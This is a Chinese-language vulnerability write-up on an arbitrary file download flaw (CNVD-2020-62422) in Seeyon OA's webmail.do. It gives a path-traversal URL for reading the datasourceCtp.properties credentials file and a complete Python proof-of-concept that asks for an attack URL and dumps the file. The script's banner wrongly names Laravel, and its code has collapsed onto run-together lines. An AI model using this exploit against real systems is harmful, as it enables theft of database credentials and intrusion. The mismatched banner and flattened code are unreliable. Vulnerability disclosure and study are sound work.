致遠OA webmail.do任意文件下載 CNVD-2020-62422

漏洞描述

致遠OA存在任意文件下載漏洞，攻擊者可利用該漏洞下載任意文件，獲取敏感信息

漏洞影響

致遠OA A6-V5

致遠OA A8-V5

致遠OA G6

漏洞復現(xiàn)

訪問 url http://xxx.xxx.xxx.xxx/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath=…/conf/datasourceCtp.properties

存在漏洞的OA 系統(tǒng)將會下載 datasourceCtp.properties 配置文件

更改參數(shù) filePath 可下載其他文件

漏洞利用POC

import requests import sys from requests.packages.urllib3.exceptions import InsecureRequestWarningdef title():print('+------------------------------------------')print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')print('+ \033[34mVersion: Laravel framework <= 5.5.21 \033[0m')print('+ \033[36m使用格式: python3 poc.py \033[0m')print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')print('+------------------------------------------')def POC_1(target_url):vuln_url = target_url + "/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath=../conf/datasourceCtp.properties"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}try:requests.packages.urllib3.disable_warnings(InsecureRequestWarning)response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)if "workflow" in response.text:print("\033[32m[o] 目標{}存在漏洞 \033[0m".format(target_url))print("\033[32m[o] 響應為:\n{} \033[0m".format(response.text))else:print("\033[31m[x] 文件請求失敗 \033[0m")sys.exit(0)except Exception as e:print("\033[31m[x] 請求失敗 \033[0m", e)if __name__ == '__main__':title()target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))POC_1(target_url)

Goby & POC

致遠OA webmail.do任意文件下載 CNVD-2020-62422

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